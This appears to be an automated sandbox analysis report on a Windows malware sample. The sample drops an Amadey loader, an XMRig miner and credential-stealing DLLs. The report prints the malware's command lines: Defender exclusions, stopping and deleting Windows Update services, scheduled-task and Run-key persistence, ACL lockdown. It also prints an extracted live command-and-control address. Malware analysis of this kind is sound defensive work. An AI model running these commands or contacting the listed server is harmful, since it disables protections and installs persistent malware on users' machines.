Analysis
-
max time kernel
145s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
01-04-2023 09:44
Static task
static1
General
-
Target
f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe
-
Size
4.4MB
-
MD5
da453134eb08fcd88431cb7ccf97c98a
-
SHA1
56977416d77214c6eacec50a23077ab1ad1b8e3a
-
SHA256
f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c
-
SHA512
901dc8ffc878113e05b09cb8ee7f56dd436d69bc8652fb51c129ff855eafdade3a11823ffa5436674e55bfda70ef46d217239fb29d59aff16f2cbc618879b629
-
SSDEEP
98304:E/B7WLWofXOBm5LuybBkGI1WzF2+PFmtmGMlGEkJJ5rGDhXK:i7Wa2ckna1yPMjVZM
Malware Config
Extracted
amadey
3.65
77.73.134.27/8bmdh3Slb2/index.php
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
XandETC.exeupdater.execonhost.exedescription pid process target process PID 4604 created 3176 4604 XandETC.exe Explorer.EXE PID 4604 created 3176 4604 XandETC.exe Explorer.EXE PID 4604 created 3176 4604 XandETC.exe Explorer.EXE PID 4604 created 3176 4604 XandETC.exe Explorer.EXE PID 4604 created 3176 4604 XandETC.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE PID 376 created 3176 376 conhost.exe Explorer.EXE PID 2652 created 3176 2652 updater.exe Explorer.EXE -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/3380-326-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmp xmrig behavioral1/memory/3380-327-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmp xmrig -
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exePlayer3.exenbveek.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation Player3.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation nbveek.exe -
Executes dropped EXE 8 IoCs
Processes:
Player3.exess31.exenbveek.exeXandETC.exenbveek.exeupdater.exenbveek.exenbveek.exepid process 4940 Player3.exe 932 ss31.exe 3108 nbveek.exe 4604 XandETC.exe 4320 nbveek.exe 2652 updater.exe 4424 nbveek.exe 5060 nbveek.exe -
Loads dropped DLL 3 IoCs
Processes:
rundll32.exerundll32.exerundll32.exepid process 1712 rundll32.exe 3872 rundll32.exe 2508 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral1/memory/3380-326-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmp upx behavioral1/memory/3380-327-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2652 set thread context of 376 2652 updater.exe conhost.exe PID 2652 set thread context of 3380 2652 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exeXandETC.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3624 sc.exe 2148 sc.exe 3256 sc.exe 4672 sc.exe 1808 sc.exe 2412 sc.exe 1204 sc.exe 2912 sc.exe 3772 sc.exe 4280 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3740 3872 WerFault.exe rundll32.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
Processes:
XandETC.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 4604 XandETC.exe 4604 XandETC.exe 1176 powershell.exe 1176 powershell.exe 4604 XandETC.exe 4604 XandETC.exe 4604 XandETC.exe 4604 XandETC.exe 4604 XandETC.exe 4604 XandETC.exe 4744 powershell.exe 4744 powershell.exe 4604 XandETC.exe 4604 XandETC.exe 2496 powershell.exe 2496 powershell.exe 2652 updater.exe 2652 updater.exe 1092 powershell.exe 1092 powershell.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 3960 powershell.exe 3960 powershell.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 2652 updater.exe 376 conhost.exe 376 conhost.exe 2652 updater.exe 2652 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 652 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1176 powershell.exe Token: SeDebugPrivilege 4744 powershell.exe Token: SeShutdownPrivilege 1052 powercfg.exe Token: SeCreatePagefilePrivilege 1052 powercfg.exe Token: SeShutdownPrivilege 3540 powercfg.exe Token: SeCreatePagefilePrivilege 3540 powercfg.exe Token: SeShutdownPrivilege 2188 powercfg.exe Token: SeCreatePagefilePrivilege 2188 powercfg.exe Token: SeShutdownPrivilege 2972 powercfg.exe Token: SeCreatePagefilePrivilege 2972 powercfg.exe Token: SeIncreaseQuotaPrivilege 4744 powershell.exe Token: SeSecurityPrivilege 4744 powershell.exe Token: SeTakeOwnershipPrivilege 4744 powershell.exe Token: SeLoadDriverPrivilege 4744 powershell.exe Token: SeSystemProfilePrivilege 4744 powershell.exe Token: SeSystemtimePrivilege 4744 powershell.exe Token: SeProfSingleProcessPrivilege 4744 powershell.exe Token: SeIncBasePriorityPrivilege 4744 powershell.exe Token: SeCreatePagefilePrivilege 4744 powershell.exe Token: SeBackupPrivilege 4744 powershell.exe Token: SeRestorePrivilege 4744 powershell.exe Token: SeShutdownPrivilege 4744 powershell.exe Token: SeDebugPrivilege 4744 powershell.exe Token: SeSystemEnvironmentPrivilege 4744 powershell.exe Token: SeRemoteShutdownPrivilege 4744 powershell.exe Token: SeUndockPrivilege 4744 powershell.exe Token: SeManageVolumePrivilege 4744 powershell.exe Token: 33 4744 powershell.exe Token: 34 4744 powershell.exe Token: 35 4744 powershell.exe Token: 36 4744 powershell.exe Token: SeIncreaseQuotaPrivilege 4744 powershell.exe Token: SeSecurityPrivilege 4744 powershell.exe Token: SeTakeOwnershipPrivilege 4744 powershell.exe Token: SeLoadDriverPrivilege 4744 powershell.exe Token: SeSystemProfilePrivilege 4744 powershell.exe Token: SeSystemtimePrivilege 4744 powershell.exe Token: SeProfSingleProcessPrivilege 4744 powershell.exe Token: SeIncBasePriorityPrivilege 4744 powershell.exe Token: SeCreatePagefilePrivilege 4744 powershell.exe Token: SeBackupPrivilege 4744 powershell.exe Token: SeRestorePrivilege 4744 powershell.exe Token: SeShutdownPrivilege 4744 powershell.exe Token: SeDebugPrivilege 4744 powershell.exe Token: SeSystemEnvironmentPrivilege 4744 powershell.exe Token: SeRemoteShutdownPrivilege 4744 powershell.exe Token: SeUndockPrivilege 4744 powershell.exe Token: SeManageVolumePrivilege 4744 powershell.exe Token: 33 4744 powershell.exe Token: 34 4744 powershell.exe Token: 35 4744 powershell.exe Token: 36 4744 powershell.exe Token: SeIncreaseQuotaPrivilege 4744 powershell.exe Token: SeSecurityPrivilege 4744 powershell.exe Token: SeTakeOwnershipPrivilege 4744 powershell.exe Token: SeLoadDriverPrivilege 4744 powershell.exe Token: SeSystemProfilePrivilege 4744 powershell.exe Token: SeSystemtimePrivilege 4744 powershell.exe Token: SeProfSingleProcessPrivilege 4744 powershell.exe Token: SeIncBasePriorityPrivilege 4744 powershell.exe Token: SeCreatePagefilePrivilege 4744 powershell.exe Token: SeBackupPrivilege 4744 powershell.exe Token: SeRestorePrivilege 4744 powershell.exe Token: SeShutdownPrivilege 4744 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exePlayer3.exenbveek.execmd.execmd.execmd.exepowershell.exedescription pid process target process PID 3620 wrote to memory of 4940 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe Player3.exe PID 3620 wrote to memory of 4940 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe Player3.exe PID 3620 wrote to memory of 4940 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe Player3.exe PID 3620 wrote to memory of 932 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe ss31.exe PID 3620 wrote to memory of 932 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe ss31.exe PID 4940 wrote to memory of 3108 4940 Player3.exe nbveek.exe PID 4940 wrote to memory of 3108 4940 Player3.exe nbveek.exe PID 4940 wrote to memory of 3108 4940 Player3.exe nbveek.exe PID 3620 wrote to memory of 4604 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe XandETC.exe PID 3620 wrote to memory of 4604 3620 f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe XandETC.exe PID 3108 wrote to memory of 3964 3108 nbveek.exe schtasks.exe PID 3108 wrote to memory of 3964 3108 nbveek.exe schtasks.exe PID 3108 wrote to memory of 3964 3108 nbveek.exe schtasks.exe PID 3108 wrote to memory of 1404 3108 nbveek.exe cmd.exe PID 3108 wrote to memory of 1404 3108 nbveek.exe cmd.exe PID 3108 wrote to memory of 1404 3108 nbveek.exe cmd.exe PID 1404 wrote to memory of 2840 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 2840 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 2840 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 1440 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 1440 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 1440 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4312 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4312 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4312 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 820 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 820 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 820 1404 cmd.exe cmd.exe PID 1404 wrote to memory of 4588 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4588 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4588 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4964 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4964 1404 cmd.exe cacls.exe PID 1404 wrote to memory of 4964 1404 cmd.exe cacls.exe PID 3112 wrote to memory of 2412 3112 cmd.exe sc.exe PID 3112 wrote to memory of 2412 3112 cmd.exe sc.exe PID 3112 wrote to memory of 3624 3112 cmd.exe sc.exe PID 3112 wrote to memory of 3624 3112 cmd.exe sc.exe PID 3768 wrote to memory of 1052 3768 cmd.exe powercfg.exe PID 3768 wrote to memory of 1052 3768 cmd.exe powercfg.exe PID 3768 wrote to memory of 3540 3768 cmd.exe powercfg.exe PID 3768 wrote to memory of 3540 3768 cmd.exe powercfg.exe PID 3112 wrote to memory of 1204 3112 cmd.exe sc.exe PID 3112 wrote to memory of 1204 3112 cmd.exe sc.exe PID 3768 wrote to memory of 2188 3768 cmd.exe powercfg.exe PID 3768 wrote to memory of 2188 3768 cmd.exe powercfg.exe PID 3112 wrote to memory of 2912 3112 cmd.exe sc.exe PID 3112 wrote to memory of 2912 3112 cmd.exe sc.exe PID 3112 wrote to memory of 3772 3112 cmd.exe sc.exe PID 3112 wrote to memory of 3772 3112 cmd.exe sc.exe PID 3768 wrote to memory of 2972 3768 cmd.exe powercfg.exe PID 3768 wrote to memory of 2972 3768 cmd.exe powercfg.exe PID 3112 wrote to memory of 4704 3112 cmd.exe reg.exe PID 3112 wrote to memory of 4704 3112 cmd.exe reg.exe PID 3112 wrote to memory of 2036 3112 cmd.exe reg.exe PID 3112 wrote to memory of 2036 3112 cmd.exe reg.exe PID 3112 wrote to memory of 3388 3112 cmd.exe reg.exe PID 3112 wrote to memory of 3388 3112 cmd.exe reg.exe PID 3112 wrote to memory of 3620 3112 cmd.exe reg.exe PID 3112 wrote to memory of 3620 3112 cmd.exe reg.exe PID 3112 wrote to memory of 4388 3112 cmd.exe reg.exe PID 3112 wrote to memory of 4388 3112 cmd.exe reg.exe PID 2496 wrote to memory of 2620 2496 powershell.exe schtasks.exe PID 2496 wrote to memory of 2620 2496 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe"C:\Users\Admin\AppData\Local\Temp\f08484e803ec708fe0082dda9e6c5cc9f9cbf7405972f03c17af93c1dff7e84c.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Player3.exe"C:\Users\Admin\AppData\Local\Temp\Player3.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "nbveek.exe" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "nbveek.exe" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\16de06bfb4" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\16de06bfb4" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main5⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main6⤵
- Loads dropped DLL
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3872 -s 6447⤵
- Program crash
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\ss31.exe"C:\Users\Admin\AppData\Local\Temp\ss31.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
